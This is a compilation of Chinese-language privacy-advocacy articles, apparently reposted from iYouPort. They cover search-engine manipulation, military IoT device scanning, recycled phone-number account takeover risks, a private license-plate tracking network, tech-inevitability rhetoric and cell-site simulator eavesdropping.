我们还学到了一些非常令人不安的东西—— 搜索引擎的操纵认知之影响远远大于让人们购买什么和投票给谁。我们现在有证据表明，在几乎所有最初未定的问题上，搜索排名几乎影响了人们做出的每一个决定。

它们对全球互联网用户的观点、信仰、态度和行为产生了更大的影响—— 同样，完全没有人们知道这种情况正在发生。

无论有没有公司官员的故意干预，都会发生这种情况；即使是所谓的“有机”搜索流程也会定期生成有利于某一种观点的搜索结果，而这反过来又有可能使数百万曾经就某个问题犹豫不决的人下定预期的决心。在我们最近的一项实验中，有偏见的搜索结果将人们对水力压裂价值的看法转移了33.9%。

也许更令人不安的是，⚠确实表明，正在观看有偏见的搜索排名的少数人在预测的方向上进一步被转变；所以，仅仅是知道列表有偏见并不一定能保护您免受 **SEME** 的影响。

最基本的，记住搜索算法正在做什么：为了回应您的查询，它从数十亿可用的网页中选择了一些网页，并使用秘密的标准对这些网页进行排序。几秒钟之后，你做出的决定或你形成的意见—— 关于使用哪

种牙膏、水力压裂是否安全、你应该去哪儿度假、谁将成为最好的总统、或者全球变暖是否真实—— 将由您看到的搜索排名决定，即使您不知道该排名是如何生成的。

与此同时，在幕后，搜索引擎的整合已经悄然发生，因此人们即便不采取谷歌搜索引擎，也会有更多人使用任何占主导地位的搜索引擎。因为谷歌是最好的搜索引擎，而且因为快速扩张的互联网爬行变得非常昂贵，越来越多的搜索引擎正在从谷歌那里获取信息而不是自己生成信息。

我们生活在这样一个世界，在这个世界中，少数高科技公司（有时与政府携手合作）不仅监控我们的大部分活动，而且还无形地控制着我们的想法和感受，做和说的一切。

现在围绕着我们的技术不仅仅是一种无害的玩具；它还使得对整个人口的操作无法被察觉和无法追踪—— 这些操作在人类历史上没有先例，而且目前远远超出了现有法规和法律的范围。

新的隐藏的说服者比 Vance Packard 所设想的更强大，更大胆，更糟糕。如果我们选择忽略这一点，我们就会面临危险。

作者 *Robert Epstein* 是加利福尼亚州美国行为研究与技术研究所的高级心理学家。他是*15*本书的作者，也是“今日心理学”的前任主编。

原文

看清物联网的真面目：一项新技术将危险地加速扩大政府对公民的监视 - iYouPort

你应该了解的现实

文中带有超链接的部分将进一步详细解释相关问题

「图」

「图」

如果你担心政府有能力对任何参与政治集会和抗议的公民进行全方位监控，甚至只是个人活动也会被这样监视，那么你应该知道，政府监控的技术能力即将成倍地扩大。

美国空军的研究实验室（是的，它有自己的实验室）最近签署了一份合同，测试一家名为 SignalFrame 的公司的新软件，这是一家华盛顿特区的无线科技公司。该公司的新软件能够接入智能手机，并通过你的手机接入附近的其他任何无线或蓝牙设备。

引用《华尔街日报》的文章，智能手机被用来 “作为数亿台电脑、路由器、健身追踪器、现代汽车、和其他任何联网设备的使用窗口，统称 ‘物联网’”。

📌 简单说，你的智能手机实际上成为了政府的监听设备，可以检测并访问所有附近的无线或蓝牙设备，或者任何有MAC地址的设备。“附近” 到底有多近，该公司和空军都没有透露，他们都拒绝发表评论。但随着5G无线网络的扩展，应该认为它不仅仅是离你的智能手机几步之遥。

我们可以想象一下，这种能力掌握在政府窥探者手中，会出现多少可怕的场景。

政府不仅会知道你的地理位置通过GPS信号追踪到你的手机，他们还会知道你在做什么、以及和谁在一起。

一个政治集会可以让政府看到抗议或示威活动附近所有其他手机的主人，看到有多少人聚集在一条特定的街道或地点，以及人们可能前往的方向，或者是否有一个组织在某个大厅或房间里开会，以及谁可能会参加。

只要你把手机带在身上，就会这样。

当你在蜿蜒曲折的道路上行驶时，他们可以"入侵你的汽车的电路板，控制你的动力转向"。或者他们可能会直接关闭你的汽车的电力系统，远程锁定你所有的车门，把你关在里面。警察已经不再需要骑着摩托车在路上追你了。

新技术将允许政府在你慢跑时访问你的 fitbit 设备上的数据，或者更糟糕的是，甚至可以干扰你的心脏起搏器设备上的信号。

这项技术可能会被用来访问你的智能手机，并从那里打开你的家庭 Alexa 类的设备，在你不知情的情况下监听和记录你说的一切。或者入侵你的笔记本电脑监视你参加的任何在线会议比如zoom。或者更糟糕的是，关闭或绕过你家的安全系统。

而通过5G，当权者可以追踪的范围可能会远远超出蓝牙设备的范围。在 **SignalFrame** 的技术中加入**5G**，再将其与机器学习和人工智能的能力结合起来，你就可以对任何目标人物或任何集会的大量数据进行实时处理**!**

政府对公民自由活动的监控这个问题并不新鲜。它采取了一个巨大的飞跃 —— “后911”时代，与所谓的爱国者法案和大规模收集电话数据的国安机构监视结合在一起。斯诺登的揭露之后它应该已经停止，但它并没有停止。窥探者继续无视国会决议和法院关于侵犯公民隐私的判决。

最新的空军实验室测试很可能只是最近的 “冰山一角” 的启示。如果空军在这样做，请放心，陆军、海军、国安局、中情局、联邦调查局和其他所有政府窥探者，也都在这样做。

当然，这种技术绝非只有美国政府会用。只要美国有的东西，你可以打赌其他政府也有 —— "尤其是中国"、"俄罗斯"、"以色列"，可能还有一些欧洲国家。

与2001年不同的是，在2020年，SignalFrame 的技术将政府监控提升到了一个全新的水平 —— 借助于智能手机、物联网（IOT）设备、依

赖数字电路板的汽车、以及现在所有具有MAC无线接入地址的家用设备的普遍性。

并且，与2001年左右和臭名昭著的《爱国者法案》的通过（及其在每年的NDAA立法中的延续）不同的是，我们现在拥有人工智能、机器学习、无处不在的神经网络，以及庞大的政府数据处理能力。

简而言之，科技正在成为政府手中越来越强大的工具和权力，用来"阻挠民主"、压制公民的宪法权利 —— 以及侦查、逮捕和 “处理” 那些抗议和反对政府的人。

未来的十年不仅经济上越来越困难，政治上越来越不稳定，尤其是，它将被证明是一个技术越来越威胁到基本公民权利以及民主制度本身之根基的时期。〇

A New Technology That Will Dangerously Expand Government Spying on Citizens

原文

研究人员提醒，您的旧电话号码可能会让您被黑客入侵 - iyouport

你应该了解的现实

有太多敏感的个人信息与手机号相关连，这可能是个严重的问题

当你得到一个新的电话号码时，移动运营商通常会“回收”你的旧号码，将其分配给一个新的手机，因此也是一个新客户。运营商说，他们这样做的原因是为了避免假设的“号码枯竭”的未来—— 一种电话号码的“石油峰值”，即 所有可能分配给手机的号码都被占用。

然而，普林斯顿大学研究人员进行的一项新研究表明，号码回收行为实际上带来了一系列安全和隐私风险。更常见的情况是，回收的手机号码允许新客户访问旧客户的信息，为各种入侵和欺诈提供了机会。

首先，新号码的拥有者往往会继续收到为前主人准备的个性化更新。这对双方都有很大的侵犯性。研究报告提到了一个特殊事件，一个新号码的用户被“包含血液测试结果和水疗预约的短信轰炸”，而这些短信显然是为其他人准备的。虽然这听起来可能更滑稽，而不是令人担忧，但电话号码所带来的访问显然可能更可怕。

尽管电话号码通常用于双因素认证或其他安全目的，但人们在更换号码时往往不能立即更新自己所有的在线账户，而且旧号码可以作为短信认证的密码重置方法而存在。这意味着它们可以被用来连接到社交媒体、电子邮件或支付账户。研究人员说，其他个人信息可以很容易地被收集起来，以加强这种账户的接管，通常来自在线“人员搜索网站”，如 BeenVerified 或 Intelius（然而这些网站并不总是有最准确、最新的信息）。电话号码也可以与从大型数据泄露事件中获得的密码配对。通过这些方式，恶意者有可能实施欺诈和/或劫持账户，以窃取更多的个人数据，或用于其他邪恶的目的。

研究人员之一 Arvind Narayanan 说，他们抽样调查的66%的回收号码仍然与以前的主人的在线账户相联系，因此，有可能受到账户劫持

的影响。研究人员调查了259个电话号码，其中215个是“回收的，也容易受到三种攻击中的至少一种”，研究报告说。

研究人员写道：

> “我们获得了200个回收的手机号码，为期一周，发现其中19个号码仍在接收安全验证/隐私敏感的电话和信息（例如，验证码，处方补货提醒等）。在不知情的情况下被分配到回收号码的新主人可能会意识到在收到不请自来的敏感通信时有利用的动机”。

Narayanan 说，在他和他的研究员 Kevin Lee 就这些问题与运营商联系后，“Verizon 和 T-mobile 改进了他们的文件，但并没有增加攻击难度”。这些公司基本上使用户稍微容易了解这些漏洞，但最终没有做任何事来阻止潜在攻击的发生。

整个调查路线主要取决于这样一个前提：无论谁得到你的新号码，都会变成一个恶意的变态，愿意利用你的个人信息来获取利益。虽然这也许不是十有八九的可能性，但手机号码回收所带来的漏洞肯定足以让你对其目前的保障措施感到担忧。〇

Your Old Phone Number Could Get You Hacked, Researchers Say

原文

私人监视网络正在崛起吗？这意味着什么 - iYouPort

你应该了解的现实技术暴政

不只有警察和间谍，任何人都可以追踪您的一切行踪，可回溯很多年

【按】这件事中触及到的中心议题事实上是个老话题，即 —— 公众应该对自己暴露在公共场合状态下的隐私期望值有多大？比如您出门前没有遮住自己的脸，那么这是否意味着看到您的任何人都可以对您拍摄并使用您的脸部生物识别数据？

这一争议最初由当年臭名昭著的谷歌眼镜掀起，您可以在这里看到相关分析《一个愚蠢带来的启示》；此后还有一个更为独特的案例在英国，玻璃墙公寓的住户被围观和拍摄，见《“富有的混蛋”也有人权吗》。而本文中出现的案例是一个更为普遍的且危害性同样严重的数据源 —— 车牌，即 行程跟踪。您是否能接受任何人都可以跟踪您每时每刻的行踪？任何人都可以知道您住在哪里？在哪工作？经常去哪？甚至您的私生活中连妻子都不应该知道的事？……

请注意，这里指的是任何人，只要支付很少的使用权费用就可以了解这一切，包括并不限于警察和间谍，还有私人侦探、恶意者、和任何可能想要折腾您的人。

任何一种数据的数量一旦积累到足够的程度，它就必然会对社会产生重大的影响。最初当人们兴奋地开始玩自拍的时候，还几乎没有人会想到自己上传社交媒体的照片最终会发生什么，见《你曾经在社交网络上发布过自己的照片？你危险了》；而当警察使用从社交媒体上搜集到的照片形成的数据库添加了搜索引擎从而识别和抓捕抗议者的时候，人们开始感到害怕。

当然，在最近的一些抗议活动中，人们也看到了擅长技术反抗的活动家使用自制的面部识别技术识别和曝光便衣警察；就如在本案例中，公民调查人员同样可以使用这种监视工具追踪官员。也许一些人会就

此为 “技术中立性” 辩护，但您需要知道，正义的用例始终将是少数的，这种数据收集本身的存在将最终得不偿失。

本案例希望提醒的是，私人监视业务的出现及其可能导致的问题 —— 因为这些私人监视是不需要法院守令的，且不违宪。

「图」

「图」

只需轻轻点击几下，该工具就能显示出一辆车在全国各地出现过的所有地方。一位消息人士是私人调查员，他可以进入该行业，收车代理和保险公司使用的强大系统。只需掌握一辆车的车牌号，这个由遍布全国的私人监视摄像头网络提供的工具就能给你提供目标车辆被发现的所有时间地点清单。

我把同意被追踪的人的车牌号给了私人调查员，他主动展示了这种功能。

结果很快弹了出来：几十次目击，跨度多年 —— 也就是说它可以追溯你很多年的踪迹。该系统可以看到停在车主家门口的车的照片；司机去探亲时在另一个州出现的该车辆照片；以及停在车主所在城市其他地点的照片。每张照片上都标有时间和相对应的汽车**GPS**坐标。有些显示了该车最近几周前出现的位置。除了车辆本身的照片外，该工具还将汽车的准确位置显示在一个易于理解的谷歌地图式的界面上。

请注意，这个名为 “数字识别网络”（DRN）的工具并不是由政府运营的，尽管执法部门也可以使用它。相反，**DRN**是一个私人监控系统，由数以百计的收车人众包，这些回收员安装了监视摄像头，被动地扫描、捕捉并将驶过的每一辆车的车牌上传到**DRN**的数据库中。DRN的范围覆盖全国各地每一个角落，不论是私人还是专注于追踪和定位目标人或车辆的公司，都可以使用它。这个工具是由一家名为 Digital Recognition Network 的公司制造的。

📌 DRN建立的是一个全国性的、持久的监控数据库，有可能长期跟踪车主的行踪。这样一来，关于车主的高度敏感信息就可以提供给任何能够接触到该工具的人。

「图」

「图」

主板获得的培训视频的屏幕快照。主板已遮盖视频中包含的私人信息。

即使您没有任何犯罪嫌疑，也没有拖欠车款，您的位置信息也很可能已经被纳入这个数据库中了—— 事实上，绝大多数被捕获的车辆都属于完全无辜的人。

根据主板获得的一份DRN合同，DRN声称拥有超过90亿次的车牌扫描数据。而DRN也承认，本不应该被允许使用该工具的人也已经获得了使用权。

“DRN为保险、调查和资产回收等私人行业提供了一个非常强大的追踪监视工具。一个强大的工具可能会被滥用，这种滥用会侵犯所有人的隐私人权”，纽约一家名为 Ostro Intelligence 的私人调查公司的工作人员 Igor Ostrovskiy 告诉主板。

在主板的测试中找到一位同意将自己的车牌输入DRN系统的人。然后他们验证了这些照片是目标的车，并提供了照片拍摄地点的背景。

“好像就是在我家门前！” 这个人说。照片中还包括汽车停靠地点的建筑物。主板准许此人匿名，以保护他们的隐私。“这令人毛骨悚然，” 参与测试的人说。

主板还获得了主要位于某些大城市的车辆的DRN搜索结果。这些结果更加细化，显示了目标车辆在整个城市的高速公路上、小街道上的行踪，也在特定的街区发现了他们的踪迹。

根据主板获得的一段DRN培训视频，这些数据很容易查询。系统会给每个结果添加一个 “标签”，将车辆可能被发现的地点分类，比如 “工作场所” 或 “家”。

“如果扫描是在白天捕捉到的行踪，那么就会假设目标车辆是在工作地点”，培训视频中，一名解说员一边演示工具一边说。“如果他们是比如说在晚上，下午6点到早上6点的停留地点，那么这将显示为一个住宅的地点，可以假设这是目标人的家。”

搜索结果的表格在顶部显示了最近跟踪到的或最受欢迎的目击事件，点击工具控制面板顶部一个名为 “Map It” 的选项，就会将位置数据绘制到地图上，更加方便查看。用户可以将自己的搜索结果制作成 **PDF**格式，其中包括所有选定的搜索结果的地图，以及每次发现目标车辆的地址。

根据合同，DRN查询车牌收费20美元，“实时警报” 收费70美元。通过实时警报，追踪者可以输入他们希望收到持续跟踪更新的目标车牌行踪；当DRN系统发现目标车辆时，它就会向追踪者发送一封电子邮件，告知新发现的位置。

“DRN非常重视数据安全”，DRN在一份声明中告诉主板，“在未经DRN批准的情况下，用户为非业务目的访问或使用数据，或以任何形式向第三方 —— 包括媒体和记者 —— 提供访问权限，都是违反我们合同条款的。客户也有责任遵守合同条款，管理和监控其用户适当的系统使用和访问权限。此外，客户还有特定的义务遵守所有关于DRN解决方案内数据使用的法律、法规和规则。”

在过去的十年里，DRN通过将收集过程外包给自己的客户，建立了自己的车牌和照片数据库。当收车员开着无标识的汽车在全国各地行驶时，他们的车上会安装一套DRN的监视摄像头，扫描它所看到的每一辆车的车牌。根据DRN的网站，一套4个摄像头套件的价格是15000美元。这项技术不仅可以通过查询DRN的数据库在经过目标车辆时发出警报，还可以不断地对经过的所有车辆进行拍照，并将这些照片添加到自己的数据库中。根据合同，**DRN**有超过**600**个这样的 “联盟公司” 在收集数据。这些联盟公司每月都会因为收集数据"而获得奖金"。

简单说，这些人不是警察也不是间谍，但他们的赚钱方式是通过监视所有人为警察和间谍更便利地追踪任何他们想要的人服务。

“配备LPR摄像头的DRN联盟成员每天都会扫描车牌，建立一个历史扫描数据库，服务于联盟成员和整个网络，以产生更多的点击率和回收率。DRN维护着最大的扫描数据库，而且数量每天都在持续增长。” DRN的网站上写道。

在营销材料中，DRN表示这是 “保险公司的游戏规则改变者”，他们可以利用该技术在一个区域内跟踪任何目标人以便以更便宜的价格为他们的车辆投保。同时，DRN的合同称，自2009年以来，该公司已经帮助追回了超过100万辆汽车，并为商业客户节省了数十亿美元。虽然DRN专注于向私营行业提供车牌阅读器技术，但其姊妹公司 Vigilant Solutions 则直接向执法部门等政府机构销售同样的技术。Vigilant 还销售面部识别技术产品。

「图」

「图」

一家回收公司与DRN的法庭文件的屏幕快照，其中显示了监视相机的工作方式。

除了向客户提供汽车位置数据和照片的数据库访问权，DRN还将该访问权转售给其他公司，以满足更多客户的需求。这些公司包括一家名为 Delvepoint 的公司，该公司更明确地向私人调查员推销，比如私家侦探。

“从理论上讲，对于执法部门，警察要经过培训”，如何正确使用这项技术符合法律规定，电子前沿基金会(EFF)高级调查研究员Dave Maass 在电话中告诉主板，“而私人使用都不受这些限制的影响。” 在公共场合拍照一般受到第一修正案的保护，因此数据库中的许多照片很可能是合法拍摄的。

虽然仍有很大的滥用空间。 Maass 指出，这可能包括跟踪迫害、通过未公开的方式获得诉讼信息、收集名人信息以进行销售等。

该合同补充说，超过1,000个账户可以进入DRN系统。不过这些账户还可以在一个组织的多人之间共享。在主板获得访问权限的私人调查员的一个封闭的 Facebook 群组中，有多个帖子要求别人通过访问车牌阅读器系统为他们查找车牌，虽然他们没有特别提到DRN。

公司高管此前已经承认，未经授权的用户已经获得了该系统的访问权限。在德克萨斯州凯尔市的一次听证会上，Vigilant Solutions 销售副总裁 Joseph Harzewski 告诉议员们，“我们已经有人在不该有的地方发放了权限”。**Harzewski** 补充说，这种数据暴露是 “我们无能为力的事，从我们给客户提供防弹技术的意义上来说。他们可以自由地使用它，只要他们认为合适。我们给他们完全的控制权，以确保可以随意使用这项技术。”

值得注意的是，根据合同，DRN不会因为某人滥用服务而立刻禁止其使用权。合同写道，如果DRN确定或怀疑用户将数据用于个人或非商业目的，”许可方[DRN]应将所称的违规行为以书面形式通知被许可方，并在被许可方收到该通知后的30天内给被许可方一个机会来纠正任何可纠正的违规行为；此后，许可方可以立即采取行动，包括但不限于终止许可数据的交付和使用许可。”

「图」

「图」

主板获得的合同的屏幕截图

而公众也没有实际的办法知道自己的数据是否被**DRN**收集，或被**DRN**的用户查询。从私人公司那里打探信息的渠道很少；关于政府监控网络的细节至少在理论上要受到《信息自由法》的覆盖和政府的监督。

“如果公众有办法审计访问专门存储的关于他们的数据，就可以阻止滥用”，私人调查员 Ostrovskiy 说。“负责任的数据提供商将创造负责任的终端用户。私营行业需要大数据来帮助解决欺诈等问题，当私营行业知道公众正在监督时，他们会更加负责任。”

DRN的声明还说：“DRN的数据包括一张车牌的照片，以及照片拍摄的日期、时间和地点。它不包含任何个人身份信息。DRN的产品具有强大的报告和审计功能，以确保在组织层面对使用情况的透明度，以及对州和联邦法律、合同义务和内部政策的遵守情况。”

但是，有了车牌，调查人员或其他第三方就可以使用不同的服务来搜索车辆注册人的姓名和地址。正如主板最近报道的那样，机动车辆部门（**DMVs**）向一系列行业出售司机的姓名、地址和其他个人信息，赚取了数千万美元。

> 越是强大的工具越容易被滥用，这种滥用会侵害每个人的隐私人权

DRN对其数据收集的法律论点是，该公司正在将一项多年来一直以人工方式完成的任务自动化—— 捕捉公开的信息。

“因为相机是在所有人都能看到的公共场所拍摄车牌，所以我们收集的数据不存在隐私期望”，合同和DRN的各种营销材料中写道。

但批评者指出，以这种规模拍照并自动上传和解析，定性地产生了一些值得关注的问题。

“我认为这种说法严重低估了这种所谓的技术进步所带来的隐私侵犯的严重性”，美国公民自由联盟（ACLU）的律师 Nate Wessler 在电话中说。

虽然根据第一修正案，公共场合的拍照通常是合法的，并且在少数州对私人收集进行了一些反击，但立法者还没有完全解决将车牌照片变成一个持久的、可搜索的数据库，提供数百万人的私密生活地图的后果。

“让私人调查员能够偶然发现某人的车停在车道上或停在街上是一回事，但这项技术所能实现的，是建立一个高度精确的数字档案，记录每一个人在一段时间内的行动总和，这就是另一回事了”，Wessler说。

「图」

「图」

DRN系统返回的某些信息的屏幕截图。为保护隐私遮盖了其中暴露的个人身份信息

2014年，阿肯色州禁止私人实体收集车牌数据，同时却允许执法部门继续使用该技术。DRN进行了反击，称该法律侵犯了他们的第一修正案权利。DRN还对犹他州的一项禁止私人收集的法律提出异议；在该州修改该法律后，该公司放弃了诉讼。

除了收集，还有获取数据的问题。在最近提交给马萨诸塞州最高司法法院的一份文件中，ACLU和EFF对涉及该技术的一个案件进行了评判。在该案中，警方利用车牌数据追踪一名涉嫌贩毒者在桥上的往返行驶。

“地区检察官建议，这些监视行动不需要搜查令，因为‘在当今社会，有大量的视频监控，任何人认为他们的公共行为应该保持隐私、不被观察，这根本是不合理的’”，ACLU和EFF律师写道，“然而，这种奥威尔式的结果正是 **[第14条]** 和第四修正案所要避免发生的状况。”也就是说，不受不合理的搜查和扣押。(ACLU、EFF和其他律师在文件中认为，查询车牌阅读器收集的历史位置数据应该需要手令)。

但行业使用车牌数据的一个法律问题是，第四修正案并不适用于非政府实体—— 私人调查人员、或者是收车员、或者是保险公司，他们不需要搜查令就可以搜索目标人多年来的行踪，他们只需要付费访问DRN系统，或者找到愿意分享或利用他们的访问权的任何人，就像主板所做的那样。

隐私活动组织EPIC的高级法律顾问 Jeramie D. Scott 在一封电子邮件中写道：“车牌读取器已经被用来创建一个大规模的监控系统，该系统收集并汇总了与数百万人相关的数十亿条车牌记录。这种不分青红皂白的监控应该接受更多的监督和审查，因为它破坏了隐私人权和公民自由，并通过暗示一切暴露在公众面前的东西都可以被收集、汇总和分析以获取利润，从而树立了一个非常不好的先例。”

他还说：“虽然公众对隐私的期望较低，但并不意味着对隐私没有期望。”〇

- 不要错过《如何愚弄自动车牌阅读器？》

This Company Built a Private Surveillance Network. We Tracked Someone With It

原文

科技人员说出的最大谎言 - iyouport

你应该了解的现实

【2020年5月13日存档】他们告诉你面部识别、智能尿布和所有监视设备是 “必然的发展”。不，它们不是。

想象一下，您正在上在线商务课程，就是观看视频讲座然后在最后回答问题的那种。但这不是普通课程，你不只是在观看讲座 —— 他们也在看着你。

每当监视系统确定您看起来无聊、分心或走神时，它都会做出记录。在每次课程之后，它只会考核您关于被记录下的那一刻所讲的内容。

请注意：这并不是一个被假设出来的系统；这是由 **Nestor** 公司部署的真实设备。而且，如果您不喜欢它，那就对了，因为其他人也不喜欢。

当我问这个系统背后的人、法国发明家 Marcel Saucet，关于这些课程的学生对被监视的感觉如何时，他承认他们不喜欢这样。

他说，学生们感到这是一种侵犯性的监视，但他没有理会这些指责。“如今每个人都在这样做，”他告诉我，“这确实有点超前或者令人震惊，但是，我们不能违背自然进化的规律。”

“进化”，作为报道技术和未来的记者，我不断听到这种说法 —— 技术人员试图将达尔文（Charles Darwin）在生物学上闻名的理论应用于自己的工作。

有人告诉我，技术在进步，这一运动比任何个人发明家或首席执行官都要强大。他们说，他们 “只是跟随了潮流，被无法抗争的潮流席卷”。他们说，这使人们 不“可避免地” 采取了面部识别（甚至部署在儿童身上）、能记录您悄悄话的智能扬声器、以及监视邻居的门铃 ……

他们说，我们不能怪这些公司对隐私权、民主制度或对公共机构的信

任的侵蚀，因为 “这一切迟早都会发生”。

“怎么可能把精灵落在瓶子里呢？” 他们说。他们甚至认为，人们购买这种东西是 “必须必然的”。公司只是在回应消费者的 “自然选择”。

他们说，没有人应为此责怪。就像地心引力一样自然。

也许没有人比发明家和未来主义者 Ray Kurzweil 在其2005年的著作《奇点即将来临》中更清楚地表达了这一信念：“技术的不断进步是我所谓的加速收益定律的隐含和必然结果，它描述了进化步伐的加快和指数级的增长。”

⚠以上都是谎言。

实际上，我们的世界是由做决策的人塑造的，技术公司也是如此。

声称所谓的自然过程的结果，不仅误解了进化的原理，而且，还暗示了从生物武器到欺诈性初创公司（如 Theranos、Juicero）是 “必要且自然的”。

- 《超级战士：DARPA 想要制造精神控制的战争武器》
- 下载报告：国际特赦组织《监视居然 —— 谷歌和**Facebook**是人权侵犯者》

这些“创新”的范围从危险到愚蠢，但它们却有着共同的线索：关于它们的一切都不是 “自然而然的”。

没有自然的过程可以制造出“智能”发刷、“智能”人字拖或“智能”避孕套、或具有蓝牙功能的烤面包机、摄影公司的加密货币或连接互联网的空气清新剂。

进化是技术的可怕隐喻

「图」

技术人员渴望与进化平行的愿望是根本性的错误。

进化是由随机突变（错误而不是计划）驱动的。尽管某些发明确实可能是不幸的结果，但技术公司对这些发明进行专利、生产和销售的决定绝非如此。

- 关于谷歌得到来历《谷歌的真面目—— They’re always

watching》

“进化” 没有举行有关市场、环境和客户群的会议；”进化” 并没有取得专利权；“进化” 不会花费数百万美元游说国会以确保其计划不受束缚。

- 《Facebook 全球游说反对数据隐私法》
- 《权谋：为游说华盛顿，谷歌制造了一个冠冕堂皇的傀儡？》

在某些情况下，即使我们无法从字面意义上收回技术精灵，我们也可以人为干预以确保精灵遵循特定规则。

关于公司在生物武器领域可以做什么和不能做什么的明确法律。

就如FDA确保在出售药物之前对药物进行功效和安全性测试；USDA确保谨慎进行新的食品研究；我们不允许任何人在任何他们喜欢的地方进行压裂或钻探石油或建造核电站；我们不允许随意制造和销售汽车、飞机或枪支……

因此，断言科技公司不可能以公众利益为重心而受制于或受到束缚的说法仅仅是认为它们与任何其他行业都根本性的不同。不，他们不是。

这一想法之所以存在，部分原因是人们无法抵制“进步”的诱惑

「图」

在许多方面，美国科技大亨将自己的选择归咎于某种无形的创新弧线，这仅仅是对创立美国的一种精神上的呼应：“不惜一切代价取得进步”。殖民美国的男人和女人们在很多大程度上只看到了前进，始终向前迈进，永远不要质疑、不要放慢脚步。

本杰明·富兰克林（本人是发明家）曾经写道：“如今，真正的科学飞速发展，使我有时感到后悔，因为我出生得太早了。很难想象一千年来，人类在物质上的力量可以承受的高度。”

因此，放缓或甚至逆转，似乎与美国风格背道而驰。前Uber工程师Anthony Levandowski 说：“已经发生的事并不重要。您无需知道历史就能在前人的基础上有所作为。在技术上，最重要的是明天”。他只是在回应我们国家创始人的观点。

“这些关于公司至高无上和技术进步的论点在美国人的心中是如此紧密地联系在一起，” 微软研究院研究行为和计算的研究员 Luke Stark 说，“这确实与整个美国的命运以及美洲定居者殖民主义的悠久历史息息相关。”

其态度是，无论我们遇到什么阻碍，我们都必须前进，向前。回头根本不是一种选择。

甚至那些害怕全能公司的人都认为，我们（消费者）必须加快步伐，而不是停顿一下。

历史学家、Sapiens 的作者 Yuval Noah Harari 对《时代》杂志说：“我想重点关注的不是停止技术进步的步伐。相反，我试图跑得更快 ……”

这种以“进步”为名的无休止的惩罚性竞赛通常也推动了消费者的行为。尽管“美国梦”越来越遥不可及，但即将到来的想法驱使人们购买这些产品。

如果能拥有最新的应用，人们就认为生活会变得更轻松，也许将有更多的空闲时间，更多的美好时光。商业广告拼命地宣称通过互联网连接的灯泡有多迷人。

只要有人购买了这些产品，科技公司就会将这作为绿灯，继续走他们的 “不可避免” 之路，迈向一个世界 —— 在这个世界上，亚马逊那种寡头确切地知道您在做什么、在想什么、在哪里做、甚至在您做之前就已经知道了。

- 《上帝之眼：一个没有秘密的世界意味着什么？》

Stark 说：“这都是一个循环。”“有点奇怪。这就是使人们陷入困境的原因。他们认为他们应该能够拥有这一切。他们为自己做不到某些事而焦虑，而技术是应对这类疾病的一种措施。”

这种循环出现的最有说服力的地方可能是在高科技婴儿设备市场：蓝牙尿布、联网婴儿监视器，智能脚链可跟踪婴儿的一举一动、心跳和体温波动。

在一个社会安全网不断侵蚀的国家，父母以关心和爱心的名义购买这些监视设备，并对健康有偏执的追求。

正如 Stark 在有关对亲人进行监视的研究论文中所写的那样，“广告客

户长期以来一直在提醒父母（尤其是母亲）他们的孩子正面临风险 —— 受到外部威胁、营养不良、社会排斥、自身的失败 —— 并宣称他们最可靠的途径就是全力以赴保护孩子，减轻他们对这些危险的恐惧。

他们被植入了这么一种价值观 —— 即使细节有多么的令人毛骨悚然，购买此设备也表明您在乎孩子，您是父母。

而且，由于一些父母感到羞耻和轻率地购买了这些追踪设备，因此越来越多的父母涌入监视市场。技术人员将这些购买等同于 “自然选择”，但是对于大多数人来说，这其中几乎没有任何选择权。

普通人无从选择

「图」

通常，消费者根本没有太多选择权。经营小型企业的人都知道，几乎不可能离开 Facebook、Instagram、Yelp、Etsy 甚至亚马逊；雇主通常要求其员工使用某些固定的应用程序或系统，例如 Zoom、Slack 和 Google Docs ……

“只有超级特权的人现在有资格说，‘我不会给我的孩子这个，或者 ‘我不在社交媒体上，’” 埃森哲的数据科学家 Rumman Chowdhury 说。

- 技术曾经是为富人服务的。现在富人正在付钱以避免技术… 《穷人的屏幕》

因此，当那些决定不是大多数消费者都擅长的决定时，我们就离开了那个声称受到欲望驱动的技术世界。

日常用户对周围技术的看法与公司如何决定制造产品之间的鸿沟越来越大。然而，这些公司称，我们不能回去；我们无法阻止“技术的自然进化”。

必须知道，“技术的自然进化”从来都是谎言，现在该去质疑 “进步” 的真正含义了。〇

作者 Rose Eveleth 是一位作家和制作人，她的主题是探索科技与人类的关系。

原文

窃听究竟有多”容易”？ - iyouport

你应该了解的现实老大哥的真面目

【2019年1月14日存档】

虽然媒体一直在热议中国技术盗窃和俄罗斯黑客的故事，但有一个漏洞太少受到关注。“当特朗普给朋友打电话时，中国人和俄国人正在窃听和学习”，纽约时报这样写道。

事实上，这些国家正在通过蜂窝站点模拟器（通常称为黄貂鱼）在全国范围内对手机呼叫进行收听，这些模拟器可以诱骗手机传输信息。它们通常用于识别手机的位置以跟踪所有者，还可用于窃听对话和拦截文本。

- 延伸阅读：《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？反监视技术》
- 《什么是 SS7，据称中国正用它来窥探特朗普的手机？》

美国国土安全部去年发现了一些“非正常活动”，与在白宫和其他敏感建筑物附近使用的蜂窝基站模拟器相一致。驾驶测试表明，蜂窝基站模拟器位于联邦机构和高科技防御承包商的建筑物附近。国安部认为是外国间谍干的。然而，国安部表示，他们“没有技术专长或资源来寻找这些蜂窝基站模拟器”。

由于执法机构在国内使用这些监视技术，对违反第四修正案的担忧也随之而来。从历史上看，这些机构曾经一直隐瞒他们对蜂窝基站模拟器的使用，声称他们不需要手令。2015 年，司法部和国土安全部改变其政策，要求首先获得搜查令，使其符合最近的最高法院裁决，确定某些手机数据的第四修正案权利。但是据众议院委员会报告，很不幸，许多州和地方执法机构继续依赖一个相关标准，该标准远低于搜查令所需的可能原因，并且达不到最高法院的先例。

国际移动用户身份捕获器可以在线购买，或者可以花几千美元被任何犯罪分子在家中自行构建，只要购买现成的组件加上一点组装这些设备的耐心。互联网上已经提供了充分的教程，而且这不需要编程技

能。

4G LTE 应该通过修复2G和3G的安全问题来保护我们所有人免受这种邪恶的监视。但是研究人员已经证明 4G 也容易受到蜂窝基站模拟器的攻击，使用攻击3G相同的技术，通过干扰首选频率迫使目标手机使用较低的频率。

执法机构、外国间谍和犯罪分子都在利用我们的无线服务中的这种弱点。

“通信法”禁止干扰所有许可的无线电通信，而“电子通信隐私法”禁止截取电子通信。尽管美国联邦通信委员会对在其他情况下故意干扰无线电通信的人以及向美国出售干扰设备的离岸公司进行罚款，但是，联邦通信委员会尚未公开宣布对黄貂鱼设备的用户或卖方采取强制措施，尽管他们明确违反了一项或两项法律，但这种犯罪活动被认为相对“无风险”。

